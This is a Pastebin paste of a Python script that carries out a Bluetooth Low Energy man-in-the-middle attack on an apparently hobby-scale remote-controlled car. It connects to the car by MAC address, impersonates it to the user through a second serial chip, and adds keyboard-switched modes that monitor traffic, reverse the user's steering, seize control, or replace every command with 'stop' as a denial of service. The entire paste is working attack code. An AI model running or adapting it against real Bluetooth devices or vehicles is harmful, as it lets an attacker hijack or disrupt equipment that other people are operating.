Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import time
- import serial
- import subprocess
- import bluepy.btle as btle
- from pynput import keyboard
- from threading import Thread
- mode = 1
- def on_press(key):
- try:
- k = key.char # single-char keys
- except:
- k = key.name # other keys
- if key == keyboard.Key.esc:
- return False # stop listener
- global mode
- if key == keyboard.Key.f2:
- print("Mode has been changed to 'monitor'")
- mode = 1
- elif key == keyboard.Key.f3:
- print("Mode has been changed to 'reverse'")
- mode = 2
- elif key == keyboard.Key.f4:
- print("Mode has been changed to 'take over'")
- mode = 3
- elif key == keyboard.Key.f5:
- print("Mode has been changed to 'DOS'")
- mode = 4
- # Client stub
- def during_takeover():
- global client_socket
- global mode
- while mode == 3:
- # add timeout here
- client_socket.readline()
- client_socket.write('Car is busy at the moment ^_^')
- # MAIN program starts here
- print("Bluetooth Man In The Middle Attack!")
- print 'To scan for low energy devices use: "sudo hcitool lescan"'
- car_mac = raw_input("Please enter car's MAC address: ")
- print('Connecting to %s...' % (car_mac))
- # Establish connection to a car
- car_socket_p = btle.Peripheral(car_mac)
- car_socket_s = car_socket_p.getServiceByUUID("0000ffe0-0000-1000-8000-00805f9b34fb")
- car_socket = car_socket_s.getCharacteristics()[0]
- print('Supports read? %d' % (car_socket.supportsRead()))
- print("Props: %s" % (car_socket.propertiesToString()))
- car_socket.write('s')
- print('reply: %s' % car_socket.read())
- print('Connect spoofed chip to the RPi')
- raw_input('Press Enter to Continue...')
- # Setup second chip to impersonate a car
- # Keep recieving data from user...
- global client_socket
- client_socket = serial.Serial(
- port='/dev/ttyACM0',
- baudrate=9600,
- parity=serial.PARITY_NONE,
- bytesize=serial.EIGHTBITS,
- timeout=1
- )
- print("Everything is setup!")
- print("Use F2, F3 and F4 keys to switch between modes:")
- print("F2 (default) - monitor mode")
- print("F3 - reverse controls")
- print("F4 - take over")
- print("F5 - DOS")
- lis = keyboard.Listener(on_press=on_press)
- lis.start() # start to listen on a separate thread
- thread = Thread(target = during_takeover, args = ())
- while True:
- if mode == 3:
- while mode == 3:
- print("Avaliable commands:")
- print("'f' - forward")
- print("'s' - stop")
- print("'r' - rotate right")
- print("'l' - rotate left")
- print("'b' - back")
- cmd = raw_input("What do we want to send to the car? ")
- car_socket.write(cmd)
- car_output = car_socket.read()
- print("Reply from the car: [%s]" % car_output)
- thread.join()
- else:
- # Attempt to recieve data from user
- data = ''
- while not data:
- data = client_socket.readline()
- print("User sent: [%s]" % data)
- if mode == 4:
- print("Replacing data with stop")
- data = 's'
- car_socket.write(data)
- car_output = car_socket.read()
- client_socket.write(car_output)
- continue
- # Take over mode
- if mode == 3:
- thread = Thread(target = during_takeover, args = ())
- print("Entering 'Take Over' mode after user sends next command")
- data = 's'
- car_socket.write(data)
- car_output = car_socket.read()
- client_socket.write(car_output)
- thread.start()
- continue
- # Reverse controls if mode 2 is selected
- if mode == 2:
- print("Reversing controls...")
- if data == 'f':
- data = 'b'
- elif data == 'b':
- data = 'f'
- elif data == 'r':
- data = 'l'
- elif data == 'l':
- data = 'r'
- print("Sending data to the car: [%s]" % data)
- car_socket.write(data)
- car_output = ''
- while not car_output:
- car_output = car_socket.read()
- print("Car replied: [%s]" % car_output)
- client_socket.write(car_output)
- running = False
- lis.join() # no this if main thread is polling self.keys
- #time.sleep(1)
- #while 1:
- # uin = raw_input('Enter an AT command: ')
- # ser.write(uin)
- # x=ser.readline()
- # print x
Add Comment
Please, Sign In to add comment